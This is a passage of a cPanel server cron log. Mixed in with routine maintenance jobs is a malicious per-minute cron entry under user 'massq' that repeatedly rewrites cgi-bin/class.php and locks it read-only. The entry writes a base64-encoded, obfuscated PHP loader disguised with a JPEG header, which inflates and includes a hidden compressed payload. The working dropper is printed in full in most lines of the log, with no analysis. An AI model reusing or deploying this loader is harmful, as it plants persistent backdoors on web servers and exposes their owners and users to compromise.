KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:00:01 server CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:00:01 server CROND[9118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:00:01 server CROND[9119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:00:01 server CROND[9120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 05:01:01 server CROND[9329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:01:01 server CROND[9330]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 05:01:01 server run-parts(/etc/cron.hourly)[9330]: starting 0anacron
Apr  8 05:01:01 server run-parts(/etc/cron.hourly)[9342]: finished 0anacron
Apr  8 05:02:01 server CROND[9398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:03:01 server CROND[9459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:04:01 server CROND[9512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:05:01 server CROND[9563]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 05:05:01 server CROND[9564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 05:05:01 server CROND[9565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:05:01 server CROND[9566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:05:01 server CROND[9567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:06:01 server CROND[9678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:07:01 server CROND[9830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:08:01 server CROND[9886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:09:01 server CROND[9940]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 05:09:01 server CROND[9942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:10:01 server CROND[10001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:10:01 server CROND[10002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:10:01 server CROND[10003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 05:10:01 server CROND[10004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:11:01 server CROND[10134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:12:01 server CROND[10344]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 05:12:01 server CROND[10343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
